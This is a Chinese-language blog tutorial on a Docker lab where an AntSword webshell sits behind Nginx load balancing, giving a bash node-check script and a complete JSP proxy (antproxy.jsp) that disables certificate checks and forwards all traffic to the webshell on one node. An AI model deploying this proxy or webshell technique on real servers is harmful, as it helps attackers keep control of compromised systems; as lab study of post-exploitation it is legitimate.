【无标题】

一、Nginx负载均衡下的webshell连接

1.环境搭建以及webshell连接

这里使用docker搭建环境,解压进入/root/AntSword-Labs-master/loadbalance/loadbalance-jsp目录,直接docker-compose up -d

链接:https://pan.baidu.com/s/1jP9uWlrn0PwTGrnqQ-uZrw?pwd=3pza

提取码:3pza

然后蚁剑直接连接

因为两台服务器都有ant.jsp,所以连接不会出现问题

成功后进入终端,可以看到每次我们执行hostname -i命令都会输出不一样的结果,那是因为Nginx负载均衡代理飘忽不定,一会儿代理到node1,一会儿代理到node2

那这个时候就出现问题了

2.出现的问题

1.我们在执行命令时,无法知道下次的请求交给哪台机器去执行,也就是上图所展示的那样。

2.我们在上传工具时,由于工具可能较大,会被分片传输,那我们怎么知道这些数据包一定会上传 到同一台服务器呢,也就是说你的工具可能会被分成两半,一半在一台服务器上,而另一半在另 一台服务器上

比如,我这里上传的是1M的文件,但当你刷新时,文件被分成两半了

3.由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可 在这个场景下,这些 tunnel 脚本全部都失灵了。

由于这一块的内容我还没学习到,所以就简单说说

当我们拿下目标服务器之后,由于目标服务器不出网,想要到内网只能将目标服务器作为代理,建立一个隧道,给我们代理到内网去,但是由于Nginx负载均衡,数据传输到一半可能又会被转到另一台服务器上去

那这些问题怎么解决呢?

3.解决方案

1.关掉其中多余的服务器

这个方案理论上来说确实可行,关掉多余的服务器,只保留一台服务器,Nginx检测不到心跳包,自然会将其他服务器视为宕掉,那就不会有问题了

但是这个方案在真实环境中就是在作死,关掉服务器是很严重的安全事故,所以直接pass

实验环境下如果权限够可以试一试

2.利用shell脚本在执行命令前判断要不要执行

shell脚本如下

#!/bin/bash

MYIP=`hostname -i`

if [ $MYIP == "172.23.0.2" ];then

echo "Node1. I will exec command.\n=========\n"

hostname -i

else

echo "Other. Try again."

fi

由于内容少,文件体积小,可以直接通过蚁剑上传, 不会被分片传输

可以看到如果ip地址为172.23.0.3,那就不会执行命令,返回Try again

反之如果ip地址为172.23.0.4,那就执行命令,输出hostname -i结果

然而这种方法只解决了第一个问题------不知道哪台服务器会执行我们的命令

但是最重要的第二、第三个问题没有解决,我们依然无法上传我们的工具,无法确定数据包的走向

3.利用多余的服务器做一次web层面的流量转发

在这里我们可以把发给172.23.0.3的流量数据包发给我们想要的服务器上,也就是172.23.0.2,因为这两台web服务器是可以互相访问的

在每一台服务器上都传入这样一个脚本,让流量都转发到一台服务器上,注意ip修改成自己想要的服务器ip

<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%@ page import="javax.net.ssl.*" %>

<%@ page import="java.io.ByteArrayOutputStream" %>

<%@ page import="java.io.DataInputStream" %>

<%@ page import="java.io.InputStream" %>

<%@ page import="java.io.OutputStream" %>

<%@ page import="java.net.HttpURLConnection" %>

<%@ page import="java.net.URL" %>

<%@ page import="java.security.KeyManagementException" %>

<%@ page import="java.security.NoSuchAlgorithmException" %>

<%@ page import="java.security.cert.CertificateException" %>

<%@ page import="java.security.cert.X509Certificate" %>

<%!

public static void ignoreSsl() throws Exception {

HostnameVerifier hv = new HostnameVerifier() {

public boolean verify(String urlHostName, SSLSession session) {

return true;

}

};

trustAllHttpsCertificates();

HttpsURLConnection.setDefaultHostnameVerifier(hv);

}

private static void trustAllHttpsCertificates() throws Exception {

TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {

public X509Certificate[] getAcceptedIssuers() {

return null;

}

@Override

public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {

// Not implemented

}

@Override

public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {

// Not implemented

}

} };

try {

SSLContext sc = SSLContext.getInstance("TLS");

sc.init(null, trustAllCerts, new java.security.SecureRandom());

HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());

} catch (KeyManagementException e) {

e.printStackTrace();

} catch (NoSuchAlgorithmException e) {

e.printStackTrace();

}

}

%>

<%

String target = "http://172.23.0.2:8080/ant.jsp";

URL url = new URL(target);

if ("https".equalsIgnoreCase(url.getProtocol())) {

ignoreSsl();

}

HttpURLConnection conn = (HttpURLConnection)url.openConnection();

StringBuilder sb = new StringBuilder();

conn.setRequestMethod(request.getMethod());

conn.setConnectTimeout(30000);

conn.setDoOutput(true);

conn.setDoInput(true);

conn.setInstanceFollowRedirects(false);

conn.connect();

ByteArrayOutputStream baos=new ByteArrayOutputStream();

OutputStream out2 = conn.getOutputStream();

DataInputStream in=new DataInputStream(request.getInputStream());

byte[] buf = new byte[1024];

int len = 0;

while ((len = in.read(buf)) != -1) {

baos.write(buf, 0, len);

}

baos.flush();

baos.writeTo(out2);

baos.close();

InputStream inputStream = conn.getInputStream();

OutputStream out3=response.getOutputStream();

int len2 = 0;

while ((len2 = inputStream.read(buf)) != -1) {

out3.write(buf, 0, len2);

}

out3.flush();

out3.close();

%>

然后这时候不要直接用蚁剑传入,因为数据量大,可能会被分片

我们最好新建一个名为antproxy.jsp的文件,多新建几次,因为可能其他服务器没有新建成功,多刷新几次

然后复制我们的脚本,多保存几次,刷新

直到都为3.22kb为止

这时候我们再编辑连接,改为antproxy.jsp

这个时候会有一个问题就是明明脚本里面没有连接密码,那怎么会填入密码ant呢?

是因为这个脚本最终转发还是转发在了ant.jsp上,可以看上面的具体ip,而ant.jsp密码就是ant

连接成功后我们进入命令行

可以看到并没有出现之前的情况了,IP地址一直为172.23.0.2,不会再出现飘忽不定的现象了

相关推荐
汇能感知3 小时前
摄像头模块在运动相机中的特殊应用
经验分享·笔记·科技
阿巴Jun3 小时前
【数学】线性代数知识点总结
笔记·线性代数·矩阵
茯苓gao3 小时前
STM32G4 速度环开环,电流环闭环 IF模式建模
笔记·stm32·单片机·嵌入式硬件·学习
是誰萆微了承諾3 小时前
【golang学习笔记 gin 】1.2 redis 的使用
笔记·学习·golang
DKPT4 小时前
Java内存区域与内存溢出
java·开发语言·jvm·笔记·学习
ST.J4 小时前
前端笔记2025
前端·javascript·css·vue.js·笔记
Suckerbin5 小时前
LAMPSecurity: CTF5靶场渗透
笔记·安全·web安全·网络安全
小憩-5 小时前
【机器学习】吴恩达机器学习笔记
人工智能·笔记·机器学习
UQI-LIUWJ6 小时前
unsloth笔记:运行&微调 gemma
人工智能·笔记·深度学习
googleccsdn6 小时前
ESNP LAB 笔记:配置MPLS(Part4)
网络·笔记·网络协议